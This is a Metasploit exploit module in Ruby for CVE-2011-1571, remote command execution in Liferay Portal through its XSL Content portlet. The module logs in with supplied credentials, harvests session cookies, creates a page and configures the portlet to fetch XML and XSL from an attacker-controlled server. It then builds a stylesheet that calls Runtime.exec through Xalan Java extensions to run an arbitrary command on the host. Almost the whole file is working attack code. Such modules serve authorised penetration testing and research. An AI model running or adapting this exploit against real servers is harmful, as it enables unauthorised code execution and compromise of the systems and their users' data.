Liferay XSL Command Execution

##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'
require 'active_support/json'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient
 include Msf::Exploit::Remote::HttpServer

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Liferay XSL Command Execution',
   'Description'    => %q{
   This module exploits a vulnerability in the XSL parser of the
   XSL Content Portlet.  When Tomcat is present, arbitrary code
   can be executed via java calls in the data fed to the Xalan
   XSLT processor. If XSLPAGE is defined, the user must have rights
   to change the content of that page (to add a new XSL portlet),
   otherwise it can be left blank and a new one will be created.
   The second method however, requires administrative privileges.
   },
   'Author' =>
    [
     # SecureState R&I Team - Special Thanks To Jake Garlie, Chris Murrey
     'Spencer McIntyre',
     'SecureState R&I Team', # SecureState Research and Innovation Team
     'Nicolas Gregoire', # authored the vulnerability details provided in the wiki
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: $',
   'References'     =>
    [
     [ 'CVE', '2011-1571' ],
     [ 'URL', 'http://xhe.myxwiki.org/xwiki/bin/view/XSLT/Application_Liferay' ],
    ],
   'Privileged'     => false,
   'Platform'    => [ 'win', 'linux', 'unix' ],
   'Stance'      => Msf::Exploit::Stance::Aggressive,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
      }
    },
   'Arch'           => ARCH_CMD,
   'Targets'        =>
    [
     [ 'Automatic',      { 'groupid' => 0, 'pauth' => false } ],
     [ 'Liferay 5.2.3 (Tomcat/JBoss)', { 'groupid' => 16,  'pauth' => false } ],
     [ 'Liferay 6.0.0 (Tomcat/JBoss)', { 'groupid' => 18,  'pauth' => false } ],
     [ 'Liferay 6.0.1-6 (Tomcat/JBoss)', { 'groupid' => 18,  'pauth' => true  } ],
    ],
   'DisclosureDate' => 'January 12, 2011', # Liferay portal issue # 14726
   'DefaultTarget'  => 0))
  
  register_options(
   [
    Opt::RPORT(8080),
    OptString.new('USERNAME', [ true, 'The username to authenticate as' ]),
    OptString.new('PASSWORD', [ true, 'The password for the specified username', ]),
    OptString.new('XSLPAGE',  [ false, 'Full path to the page to add an XSL portlet to, (default: random)', nil ]),
    OptString.new('PATH',     [ true,  'The URI path of the portal', '/' ]),
   ], self.class)
 end
 
 def auto_target(headers)
  print_status("Attempting to automatically select a target...")
  case headers['liferay-portal']
  when /5.2.3/
   return targets[1]
  when /6.0.0/
   return targets[2]
  when /6.0.[1-6]/
   return targets[3]
  end
  return nil
 end

 def exploit
  print_status('Logging in and creating a page to embed XSL Content into...')
  res = send_request_cgi({
   'method'    => 'GET',
   'uri'       => datastore['PATH'] + 'web/guest/home'
  })
  
  mytarget = target
  if (target.name =~ /Automatic/)
   mytarget = auto_target(res.headers)
   if (not mytarget)
    raise RuntimeError, "Unable to automatically select a target"
   end
   print_status("Automatically selected target \"#{mytarget.name}\"")
  else
   print_status("Using manually select target \"#{mytarget.name}\"")
  end
  sessionid = 'JSESSIONID=' << res.headers['set-cookie'].split('JSESSIONID=')[1].split('; ')[0]
  cookie = "#{sessionid}; COOKIE_SUPPORT=true"
  
  app_base = rand_text_alphanumeric(8+rand(8))
  new_page = datastore['XSLPAGE'] || rand_text_alphanumeric(8+rand(8))
  malicious_url = "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{app_base}"
  @xsl_data = run_cmd_with_xsl(payload.encoded) # this is really the data returned for XSL and XML requests
  service_url = 'http://' + datastore['SRVHOST'] + ':' + datastore['SRVPORT'] + resource_uri
  print_status("Starting up our web service on #{service_url} ...")
  start_service({'Uri' => {
    'Proc' => Proc.new { |cli, req|
     on_request_uri(cli, req, 'XSL')
    },
    'Path' => '/' + app_base + '.xsl'
  }})
  start_service({'Uri' => {
    'Proc' => Proc.new { |cli, req|
     on_request_uri(cli, req, 'XML')
    },
    'Path' => '/' + app_base + '.xml'
  }})
  
  res = send_request_cgi({
   'method'    => 'POST',
   'uri'       => datastore['PATH'] + 'web/guest/home?p_p_id=58&p_p_lifecycle=1&p_p_state=normal&p_p_mode=view&p_p_col_id=column-1&p_p_col_count=1&saveLastPath=0&_58_struts_action=%2Flogin%2Flogin',
   'data'      => "_58_redirect=&_58_rememberMe=false&_58_login=#{Rex::Text.uri_encode(datastore['USERNAME'], 'hex-normal')}&_58_password=#{Rex::Text.uri_encode(datastore['PASSWORD'], 'hex-normal')}",
   'cookie'    => cookie
  })
  
  if res.code != 302
   print_error('Login failed.')
   return
  end
  
  cookie = ''
  for cookie_i in [ 'JSESSIONID=', 'LOGIN=', 'SCREEN_NAME=', 'COMPANY_ID=', 'ID=', 'PASSWORD=', 'REMEMBER_ME=' ]
   cookie << cookie_i + res.headers['set-cookie'].split(cookie_i)[1].split('; ')[0] + '; '
  end
  xml_http_request_headers = { 'X-Requested-With' => 'XMLHttpRequest' }

  if datastore['XSLPAGE'] == nil # the page was not defined, so we try to create a new one
   res = send_request_cgi({
    'method'     => 'POST',
    'uri'        => datastore['PATH'] + 'c/layout_management/update_page',
    'data'       => "mainPath=%2Fc&doAsUserId=&cmd=add&groupId=#{mytarget['groupid']}&privateLayout=false&parentLayoutId=0&name=#{new_page}",
    'cookie'     => cookie,
    'headers'    => xml_http_request_headers,
   })
   if res.code != 200 or res.body == ""
    print_error('Could not create a new page to embed the XSL Content into...')
    return
   end
   new_page = datastore['PATH'] + 'web/guest/' + URI.parse(ActiveSupport::JSON.decode(res.body)['url']).path.split('/')[-1] # could possible be different and have a number at the end
   print_status("Successfully created page #{new_page}, now configuring XSL...")
  else
   new_page = datastore['PATH'] + 'web/guest/' + datastore['XSLPAGE']
  end
  
  res = send_request_cgi({
   'method'    => 'GET',
   'uri'       => new_page,
   'cookie'    => cookie
  })
  
  plid = /getPlid:function\(\)\{return"[\d]{3,7}"}/i.match(res.body)[0][26..-3].to_i
  layoutid = /getLayoutId:function\(\)\{return\"[\d]{1,5}\"\}/i.match(res.body)[0][30..-3].to_i
  if mytarget['pauth']
   pauth = 'p_auth=' + /\?p_auth=[a-zA-Z0-9]{3,12}&/i.match(res.body)[0][8..-6] + '&'
  else
   pauth = '' # versions prior to 6.0.1 do not require a p_auth token
  end
  
  res = send_request_cgi({
   'method'     => 'POST',
   'uri'        => datastore['PATH'] + 'c/portal/update_layout',
   'data'       => "p_l_id=#{plid}&p_p_id=102&p_p_col_id=column-1&p_p_col_pos=0&doAsUserId=&dataType=json&cmd=add¤tURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}",
   'cookie'     => cookie,
   'headers'    => xml_http_request_headers,
  })
  if res.code != 200
   print_error('Could not create a new page to embed the XSL Content into...')
   return
  end
  
  portletid = /p_p_id_[\d]{1,4}_INSTANCE_[a-zA-Z0-9]{2,5}/i.match(res.body)[0][7..-1]
  
  res = send_request_cgi({
   'method'     => 'POST',
   'uri'        => "#{new_page}?#{pauth}p_p_id=86&p_p_lifecycle=1&p_p_state=maximized&p_p_mode=view&_86_struts_action=%2Fportlet_configuration%2Fedit_configuration&_86_returnToFullPageURL=#{Rex::Text.uri_encode(new_page, 'hex-normal')}&_86_portletResource=#{portletid}&_86_previewWidth=450",
   'data'       => "_86_cmd=update&_86_xmlURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xml&_86_xslURL=#{Rex::Text.uri_encode(malicious_url, 'hex-normal')}.xsl",
   'cookie'     => cookie,
  })
  
  if res.code != 200
   print_error('Could not configure the XSL Portlet')
   return
  end
  
  print_status("Successfully configured XSL Portlet, requesting page to execute code...")
  res = send_request_cgi({
   'method'    => 'GET',
   'uri'       => new_page,
   'cookie'    => cookie
  })
  
  # wait for the data to be sent
  waited = 0
  while (not @xsl_sent)
   select(nil, nil, nil, 1)
   waited += 1
   if (waited > 30)
    raise RuntimeError, 'Server did not request XSL data -- Maybe it cant connect back to us?'
   end
  end
  
  print_status("Shutting down the web service...")
  stop_service
  return
  
  res = send_request_cgi({
   'method'     => 'POST',
   'uri'        => datastore['PATH'] + 'c/portal/update_layout',
   'cookie'     => cookie,
   'data'       => "p_l_id=#{plid}&p_p_id=#{portletid}&doAsUserId=&cmd=delete"
  })
  
  if datastore['XSLPAGE'] == nil # we created the page, so delete it
   res = send_request_cgi({
    'method'     => 'POST',
    'uri'        => datastore['PATH'] + 'c/layout_management/update_page',
    'data'       => "doAsUserId=&cmd=delete&groupId=#{mytarget['groupid']}&privateLayout=false&layoutId=#{layoutid}",
    'cookie'     => cookie,
    'headers'    => xml_http_request_headers,
   })
  end
 end
 
 # Handle incoming requests from the server
 def on_request_uri(cli, request, resource)
  print_status("Sending the #{resource} File to the server...")
  send_response(cli, @xsl_data)
  @xsl_sent = true
 end
 
 def run_cmd_with_xsl(cmd)
  varpayload = rand_text_alpha(10+rand(8))
  varruntime = rand_text_alpha(10+rand(8))
  varproc = rand_text_alpha(10+rand(8))
  payload =  "<xsl:stylesheet xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\" xmlns:jv=\"http://xml.apache.org/xalan/java\" exclude-result-prefixes=\"jv\" version=\"1.0\">\n"
  payload << " <xsl:template match=\"/\">\n"
  payload << "  <xsl:variable name=\"#{varruntime}\" select=\"jv:java.lang.Runtime.getRuntime()\"/>\n"
  payload << "  <xsl:variable name=\"osversion\" select=\"jv:java.lang.System.getProperty('os.name')\"/>\n"
  payload << "  <xsl:variable name=\"osversion\" select=\"jv:toLowerCase($osversion)\"/>\n\n"
  
  payload << "  <xsl:choose>\n"
  payload << "   <xsl:when test=\"contains($osversion,'windows')\">\n"
  payload << "    <xsl:variable name=\"#{varpayload}\"><![CDATA[#{cmd}]]></xsl:variable>\n"
  payload << "    <xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/>\n"
  payload << "   </xsl:when>\n\n"
  
  payload << "   <xsl:otherwise>\n"
  payload << "    <xsl:variable name=\"#{varpayload}\"><![CDATA[/bin/sh ==== -c ==== #{cmd}]]></xsl:variable>\n"
  payload << "    <xsl:variable name=\"#{varpayload}\" select=\"jv:split($#{varpayload}, ' ==== ')\"/>\n"
  payload << "    <xsl:variable name=\"#{varproc}\" select=\"jv:exec($#{varruntime}, $#{varpayload})\"/>\n"
  payload << "   </xsl:otherwise>\n"
  payload << "  </xsl:choose>\n\n"
  
  payload << " </xsl:template>\n"
  payload << "</xsl:stylesheet>\n"
  payload
 end
end